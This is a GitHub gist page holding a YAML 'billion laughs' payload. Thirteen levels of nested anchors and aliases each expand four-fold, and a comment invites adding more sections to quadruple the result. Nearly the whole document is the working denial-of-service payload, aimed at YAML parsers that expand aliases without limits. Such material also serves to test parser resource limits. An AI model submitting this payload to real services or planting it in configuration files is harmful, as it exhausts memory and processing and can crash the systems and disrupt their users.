Skip to content

Instantly share code, notes, and snippets.

@smerritt
Created October 5, 2012 20:41
Show Gist options
  • Save smerritt/3842257 to your computer and use it in GitHub Desktop.
Save smerritt/3842257 to your computer and use it in GitHub Desktop.
# Recursive expansion attack (aka "billion laughs") on a YAML parser
#
# See http://en.wikipedia.org/wiki/Billion_laughs
#
# Want to quadruple the result size? Just add another section.
---
s1: &s1
a:
- 1
- 2
b:
- 1
- 2
c:
- 1
- 2
d:
- 1
- 2
s2: &s2
a: *s1
b: *s1
c: *s1
d: *s1
s3: &s3
a: *s2
b: *s2
c: *s2
d: *s2
s4: &s4
a: *s3
b: *s3
c: *s3
d: *s3
s5: &s5
a: *s4
b: *s4
c: *s4
d: *s4
s6: &s6
a: *s5
b: *s5
c: *s5
d: *s5
s7: &s7
a: *s6
b: *s6
c: *s6
d: *s6
s8: &s8
a: *s7
b: *s7
c: *s7
d: *s7
s9: &s9
a: *s8
b: *s8
c: *s8
d: *s8
s10: &s10
a: *s9
b: *s9
c: *s9
d: *s9
s11: &s11
a: *s10
b: *s10
c: *s10
d: *s10
s12: &s12
a: *s11
b: *s11
c: *s11
d: *s11
s13: &s13
a: *s12
b: *s12
c: *s12
d: *s12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment